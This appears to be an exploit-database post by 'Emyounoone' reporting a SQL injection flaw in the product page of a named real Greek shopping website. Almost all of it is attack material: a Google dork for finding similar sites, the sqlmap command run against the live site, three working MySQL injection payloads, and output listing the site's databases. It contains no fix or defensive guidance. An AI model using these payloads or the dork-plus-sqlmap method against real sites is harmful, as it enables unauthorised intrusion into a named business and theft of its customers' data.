# Exploit Title: Greek Shopping Web Site SQL Injection Vulnerability
# Author: Emyounoone
# Date: 14/04/2021
# Tested On: Kali Linux
# Contact: https://twitter.com/Emyounoone
# Google Dork: productview.php?id=
----------------------------------------------------------------------------------------------------
# Vulnerable Path: http://www.mdavaris.gr/productview.php?id=0
# python3 sqlmap.py http://www.mdavaris.gr/productview.php?id=0 --dbs --random-agent
---
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=0 RLIKE (SELECT (CASE WHEN (6535=6535) THEN 0 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=0 OR (SELECT 1418 FROM(SELECT COUNT(*),CONCAT(0x7162767171,(SELECT (ELT(1418=1418,1))),0x7178627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=0 AND (SELECT 8189 FROM (SELECT(SLEEP(5)))WhYE)
---
available databases [2]:
[*] information_schema
[*] mdavaris_base